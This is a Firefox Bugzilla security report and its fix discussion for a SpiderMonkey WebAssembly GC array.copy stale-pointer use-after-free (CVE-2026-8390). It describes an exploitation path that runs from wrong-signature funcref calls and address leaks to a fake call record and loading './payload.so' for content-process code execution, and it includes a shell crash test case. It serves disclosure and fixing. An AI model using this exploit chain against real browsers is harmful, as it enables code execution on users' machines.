Closed Bug 2038081 (CVE-2026-8390) Opened 4 months ago Closed 4 months ago

Wasm GC array.copy Keeps a Stale Source Pointer Across Moving GC

Categories

(Core :: JavaScript: WebAssembly, defect, P1)

defect

Tracking

()

VERIFIED FIXED
152 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr140 --- unaffected
firefox150 + fixed
firefox151 + fixed
firefox152 + verified

People

(Reporter: bd, Assigned: rhunt)

References

(Blocks 1 open bug, Regression)

Details

(5 keywords, Whiteboard: [client-bounty-form][pp1][bugmon:bisected,confirmed][adv-main150.0.3+])

Attachments

(6 files)

Reporter: OpenAI Preparedness, Bill Demirkapi
Organization: OpenAI
Component: SpiderMonkey JIT / WebAssembly GC lowering
Affected Area: MWasmCallBase::wasmCallAliasSet, FunctionCompiler::createArrayCopy, WasmArrayRefsMove, WasmArrayMemMove
Bug Class: Invalid alias exclusion -> stale raw Wasm array backing pointer across moving GC -> use-after-free / memory corruption / native control-flow impact
Discovery Method: Source review, optimizer-state analysis, browser reproduction, sanitizer/debugger validation


Summary

SpiderMonkey's optimized Wasm GC array.copy lowering loads raw backing-data pointers from the source and destination arrays, then passes those raw pointers to helper builtins. The optimizer currently treats WasmArrayDataPointer loads as unaffected by Wasm calls because the live object field is expected to be rewritten when GC moves the array:

// js/src/jit/MIR-wasm.h:1950-1957
static AliasSet wasmCallAliasSet() {
  // This is ok because:
  // - numElements is immutable
  // - the GC will rewrite any array data pointers on move
  AliasSet exclude = AliasSet(AliasSet::WasmArrayNumElements) |
                     AliasSet(AliasSet::WasmArrayDataPointer);
  return AliasSet::Store(AliasSet::Any) & ~exclude;
}

That reasoning is correct only for the object field itself. It is not correct for a raw pointer value that has already been loaded into optimized code. createArrayCopy() materializes srcData and dstData before invoking a helper call:

// js/src/wasm/WasmIonCompile.cpp:5536-5569
MInstruction* dstData = MWasmLoadField::New(
    alloc(), dstArrayObject, nullptr, WasmArrayObject::offsetOfData(),
    mozilla::Nothing(), MIRType::WasmArrayData, MWideningOp::None,
    AliasSet::Load(AliasSet::WasmArrayDataPointer));

MInstruction* srcData = MWasmLoadField::New(
    alloc(), srcArrayObject, nullptr, WasmArrayObject::offsetOfData(),
    mozilla::Nothing(), MIRType::WasmArrayData, MWideningOp::None,
    AliasSet::Load(AliasSet::WasmArrayDataPointer));

if (elemsAreRefTyped) {
  builtinCall6(SASigArrayRefsMove, ..., dstArrayObject, dstData,
               dstArrayIndex, srcData, srcArrayIndex, numElements, ...);
} else {
  builtinCall6(SASigArrayMemMove, ..., dstData, dstArrayIndex, srcData,
               srcArrayIndex, elemSizeDef, numElements, ...);
}

The helpers then consume those pointers directly:

// js/src/wasm/WasmBuiltins.cpp:1321-1338
static void WasmArrayMemMove(uint8_t* destArrayData, uint32_t destIndex,
                             const uint8_t* srcArrayData, uint32_t srcIndex,
                             uint32_t elementSize, uint32_t count) {
  memmove(&destArrayData[size_t(elementSize) * destIndex],
          &srcArrayData[size_t(elementSize) * srcIndex],
          size_t(elementSize) * count);
}

static void WasmArrayRefsMove(WasmArrayObject* destArrayObject,
                              AnyRef* destArrayData, uint32_t destIndex,
                              AnyRef* srcArrayData, uint32_t srcIndex,
                              uint32_t count) {
  AnyRef* dstBegin = destArrayData + destIndex;
  AnyRef* srcBegin = srcArrayData + srcIndex;
  BarrieredMoveRange(destArrayObject, dstBegin, srcBegin, count);
}

If a moving GC occurs after the raw source pointer is loaded but before the helper consumes it, the source object's field is updated while optimized code continues using the old raw pointer. The helper therefore copies from stale storage instead of from the moved source array.

This is reachable from ordinary browser JavaScript using WebAssembly GC. The attached browser PoC reproduces a content-process crash with no shell-only APIs. The same root bug was also driven into concrete use-after-free writes, allocator-reuse reads, wrong-owner reference propagation, controlled native call targets, and content-process code execution.


Impact

Malicious web content can turn the stale source pointer into memory corruption in the Firefox content process.

The same root primitive has been demonstrated through several independent consumers:

  1. stale DataView state causing writes through freed ArrayBuffer storage;
  2. stale JSString state causing reads from freed allocator-owned character storage;
  3. stale function-reference propagation across call_ref, producing wrong-signature calls, address disclosure, controlled indirect native calls, and content-process code execution.

The simplest concrete write witness uses a detached fixed-length transfer. A fresh 16-byte DataView rejects offset 60, but the stale resurrected view still writes there:

TRANSFER_BEFORE_OK kind=fixed oldBytes=8 newBytes=16 oldDetached=1
FRESH_BUFFER_OBS_ERROR phase=after-transfer-before-write RangeError:offset is outside the bounds of the DataView
WRITE_RESULT kind=dataview threw=0 index=15 byteOffset=60 observed=123456

Under ASan, the same write is reported as a real UAF write into freed backing storage:

ERROR: AddressSanitizer: heap-use-after-free
WRITE of size 4
    #0 Memcpy
    #1 toBuffer
    #2 js::DataViewObject::write<unsigned int>
    #3 setUint32Impl
...
0x... is located 60 bytes inside of 4096-byte region
freed by:
    #1 js::ArrayBufferObject::detach
    #2 js::ArrayBufferObject::copyAndDetach<...>

When a new live 4096-byte allocation reuses the freed region, the stale write mutates that unrelated live buffer:

POST_TRANSFER_ALLOC kind=arraybuffer count=1 bytes=4096
WRITE_RESULT kind=dataview threw=0 index=3 byteOffset=60 observed=123456
REUSE_CHANGE phase=after-write index=0 before=2702184207 after=123456
REUSE_HIT phase=after-write index=0 wordIndex=15 value=123456

The scalar WasmArrayMemMove path can also produce stale string state. In one allocator-reuse witness, the string chars pointer was freed and then read back after grooming:

FEEDBACK_ATOM_CHARS 0x...
FEEDBACK_RAW_CHARS  0x...
FEEDBACK_DANGLING_BEFORE_GROOM [229,229,229,229,...]
FEEDBACK_DANGLING_AFTER_GROOM  [70,69,69,68,66,65,67,75,95,68,65,78,71,76,73,78,71,95,66,69,70,79,82,69,95,71,82,79,79,77,...]

ASan confirms the corresponding stale read:

ERROR: AddressSanitizer: heap-use-after-free
READ of size 1
    #0 latin1OrTwoByteChar
    #1 getChar
    #2 str_charCodeAt

These are not separate root causes. They are independent downstream consequences of the same stale srcData bug.


Root Cause

The vulnerable path is a mismatch between three assumptions:

  1. Moving GC updates the current WasmArrayObject::data_ field.
  2. Wasm calls are declared not to alias WasmArrayDataPointer loads.
  3. The array.copy helper ABI consumes raw backing pointers loaded before the call.

The collector can satisfy assumption 1 without satisfying assumptions 2 or 3. Rewriting the moved object's field does not repair a stale raw pointer already held in optimized code. Once srcData has been commoned or kept live across a GC-capable call boundary, the later helper receives the obsolete address.

This is why the key comment in wasmCallAliasSet() is unsafe: "the GC will rewrite any array data pointers on move" is true for object fields, but false for preloaded raw values.


Browser Reachability

The browser reproducer uses:

  • normal JavaScript;
  • embedded WebAssembly bytes;
  • browser-side allocation pressure;

The vulnerable page and the exact no-copy control differ only in whether the live array.copy executes. In vulnerable runs, the content process crashes during or just after warmup; with ?copy=0, the same pressure schedule completes all control rounds.

The crash is timing-sensitive because it depends on moving-GC placement and replacement allocation. Repeated reloads are expected for a browser PoC of this class.


Exploitation

The most interesting exploitation path changed the consumer from ordinary object state to stale function references.

1. Stale function-reference placement

The stale copy path was used to transfer an old WebAssembly function reference into a live ref array. A later consumer executed call_ref believing it was calling one signature while the stale entry actually referred to a producer compiled for a different signature.

2. Wrong-signature calls become a data bridge

Two mismatched call shapes were useful:

let leakedWord = callRefAsI64(staleFuncref);
let forgedRef  = callRefAsExternref(attackerChosenI64);

The first shape disclosed native words, including a stable libxul code pointer. The second shape allowed attacker-selected integer bits to re-enter a reference-consuming path. This converted stale funcref replacement into both an ASLR anchor and a way to materialize crafted object-like state.

3. Fake call record

The exploit then used controlled memory as a compact fake call record:

fake + 0x00 : first native entry
fake + 0x18 : argument 0
fake + 0x38 : second native target
fake + 0x40 : argument 1

Conceptually:

fake.write64(0x00, leak + ARG_LOADER_DELTA);
fake.write64(0x18, controlledArg0);
fake.write64(0x38, leak + TARGET_DELTA);
fake.write64(0x40, controlledArg1);
invokeReturnedFuncref(forgedRef, fake);

The first target acted as a compact argument loader and then transferred control to the second target. This was first validated with a visible native side effect:

CONTROLLED_NATIVE_MARKER

4. Content-process code execution

The same mechanism was then pointed at a loader path. A debugger transcript from the successful content-process run shows the progression:

ARG_LOADER_HIT ...
DLOPEN_CALLSITE ... arg0="./payload.so"
DLOPEN_ENTER ... arg0="./payload.so"
PAYLOAD_CONSTRUCTOR_ENTER ...

The content process subsequently executed the constructor of the loaded object:

PAYLOAD_CONSTRUCTOR_EXECUTED

This demonstrates that the stale-source bug is exploitable beyond denial of service: it can be developed into native code execution inside the content process.


Proof of Concept

The attached browser PoC is intentionally a crash reproducer rather than the full exploit chain.

Run:

python3 -m http.server 8000

Open:

http://127.0.0.1:8000/

Exact negative control:

http://127.0.0.1:8000/?copy=0

Expected behavior:

  • vulnerable URL: content-process crash after warmup on affected builds, often after several reloads because GC placement is timing-sensitive;
  • ?copy=0: same pressure schedule without the live copy, expected to survive and print control rounds.

Affected Builds

The bug was reproduced on:

  • Firefox 149.0.2;
  • a later 150.0 development build using the same stale-pointer lowering shape;
  • Firefox Nightly 152.0a1 (2026-05-07).

The vulnerable logic is in SpiderMonkey source and is not platform-specific browser glue.


Suggested Fix

The invariant should be that optimized Wasm code never treats a raw array-data pointer as stable across a call that may permit moving GC.

Recommended changes:

  1. Remove WasmArrayDataPointer from the alias exclusion in MWasmCallBase::wasmCallAliasSet().
  2. Prefer helper ABIs that accept WasmArrayObject* and reload dataPointer() immediately before use instead of receiving long-lived raw pointers.
  3. Add regression tests that:
    • execute optimized Wasm GC array.copy;
    • permit a moving GC between raw pointer load and helper consumption;
    • verify that the source backing pointer is current at use time;
    • cover both WasmArrayRefsMove and WasmArrayMemMove.

Suggested Regression Coverage

A useful test matrix would include:

Case Expected
optimized ref-typed array.copy with moving GC in the import window no stale-source copy
optimized scalar array.copy with the same schedule no stale-source copy
no-copy control under identical pressure no corruption
baseline / non-optimized path no stale reuse
diagnostic build with pointer reload after possible GC same result as current object field

The test should assert the source data pointer observed by the helper matches the moved source object's current backing store, rather than merely asserting the absence of a crash.


This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. [This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.]

OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.

Flags: sec-bounty?
Group: firefox-core-security → javascript-core-security
Component: Security → JavaScript: WebAssembly
Keywords: ai-involved
Product: Firefox → Core
Attached file testcase.html

Here's a shell test case.

$ obj-shell-dbgopt/dist/bin/js --wasm-compiler=ion test.js
Assertion failure: IsValidlyAlignedDataPointer(header), at js/src/wasm/WasmGcObject.h:474
// Run with --wasm-compiler=ion
var ins = new WebAssembly.Instance(
  new WebAssembly.Module(wasmTextToBinary(`(module
    (type $s (struct (field (mut i64))))
    (type $a (array (mut (ref null $s))))
    (import "m" "hook" (func $hook))
    (func (export "run")
      (local $src (ref $a)) (local $dst (ref $a))
      (local.set $src (array.new_default $a (i32.const 15)))
      (local.set $dst (array.new_default $a (i32.const 15)))
      (array.set $a (local.get $src) (i32.const 0)
        (struct.new $s (i64.const 0x42)))
      (call $hook)
      (array.copy $a $a
        (local.get $dst) (i32.const 1)
        (local.get $src) (i32.const 0)
        (i32.const 1)))
  )`)),
  { m: { hook() { gc(this, 'shrinking'); } } }
);
ins.exports.run();

Thank you for the bug report! Nice find.

If you're interested in searching for more SpiderMonkey bugs, consider using the JS shell. It's a command-line version of SpiderMonkey that lets you run JS files like the one I gave in comment 2 directly. It has extra flags, debug assertions and testing functions that help test engine behavior. Just make sure you pass it the --fuzzing-safe flag to disable things that might crash that we don't care about.

Status: UNCONFIRMED → NEW
Ever confirmed: true
Whiteboard: [client-bounty-form] → [client-bounty-form][pp1]

Verified bug as reproducible on mozilla-central 20260508130736-bb1498acf6da.
The bug appears to have been introduced in the following build range:

Start: c8dcd7d171794984cb64614fd67780fdc11c53d5 (20251217093341)
End: af79ab9f261ecf2476508798a418f76fd1186bfe (20251217105309)
Pushlog: https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=c8dcd7d171794984cb64614fd67780fdc11c53d5&tochange=af79ab9f261ecf2476508798a418f76fd1186bfe

Keywords: regression
Whiteboard: [client-bounty-form][pp1] → [client-bounty-form][pp1][bugmon:bisected,confirmed]
Attached file (secure)
Assignee: nobody → rhunt
Status: NEW → ASSIGNED

Prefer helper ABIs that accept WasmArrayObject* and reload dataPointer() immediately before use instead of receiving long-lived raw pointers

This is the safest option here and what the attached patch does. JSeward wrote it, and Yury and I have reviewed it. The patch deoptimizes the array copy builtins used in Ion to take the array object instead of their data pointers and then loads the data pointers themselves. This fixes the lifetime issue.

Blocks: sm-security
Severity: -- → S2
Priority: -- → P1
Regressed by: 2005437
See Also: → 1929878

Comment on attachment 9584682 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Medium difficulty. Patch points at something around array data pointers, but it's not clear the issue involves a lifetime issue around array objects.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: Beta nad release, flags are accurate.
  • If not all supported branches, which bug introduced the flaw?: Bug 2005437
  • Do you have backports for the affected branches?: Yes
  • If not, how different, hard to create, and risky will they be?:
  • How likely is this patch to cause regressions; how much testing does it need?: Unlikely. Well reviewed and tested de-optimization to an array.copy routine.
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Attachment #9584682 - Flags: sec-approval?

JSeward tested the patch on Linux x86_{32,64} natively and {arm32, arm64, rv64} with the simulator. I tested it on OSX with ARM64 natively. I also verified it applies cleanly to beta and release. I compiled and tested it on beta, but wasn't able to build release because of a SDK mismatch. The underlying code that we're changing here hasn't changed for a while so I don't think there will be an issue on release.

Attachment #9584682 - Flags: sec-approval? → sec-approval+

I also verified now that, for x86_{32,64}-linux, the following wasm-gc tests
from JetStream3 run OK:

  j2cl-box2d-wasm Dart-flute-complex-wasm Dart-flute-todomvc-wasm
  Kotlin-compose-wasm dotnet-aot-wasm dotnet-interp-wasm

firefox-beta Uplift Approval Request

  • User impact if declined/Reason for urgency: Potentially exploitable security issue.
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: De-optimization of well tested code.
  • String changes made/needed?: None
  • Is Android affected?: yes
Attachment #9584814 - Flags: approval-mozilla-beta?

firefox-release Uplift Approval Request

  • User impact if declined/Reason for urgency: Potentially exploitable security issue.
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: De-optimization of well tested code.
  • String changes made/needed?: None
  • Is Android affected?: yes
Attachment #9584815 - Flags: approval-mozilla-release?
Group: javascript-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 4 months ago
Resolution: --- → FIXED
Target Milestone: --- → 152 Branch
Attachment #9584815 - Flags: approval-mozilla-release? → approval-mozilla-release+
Attachment #9584814 - Flags: approval-mozilla-beta? → approval-mozilla-beta+

Verified bug as fixed on rev mozilla-central 20260509201008-34fa32c3c2a4.
Removing bugmon keyword as no further action possible. Please review the bug and re-add the keyword for further analysis.

Status: RESOLVED → VERIFIED
Keywords: bugmon
Duplicate of this bug: 2038763
QA Whiteboard: [sec] [qa-triage-done-c152/b151]
Whiteboard: [client-bounty-form][pp1][bugmon:bisected,confirmed] → [client-bounty-form][pp1][bugmon:bisected,confirmed][adv-main150.0.3+]
Alias: CVE-2026-8394
Alias: CVE-2026-8394 → CVE-2026-8390
Attached file advisory.txt

Updated advisory.txt

Flags: sec-bounty? → sec-bounty+
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: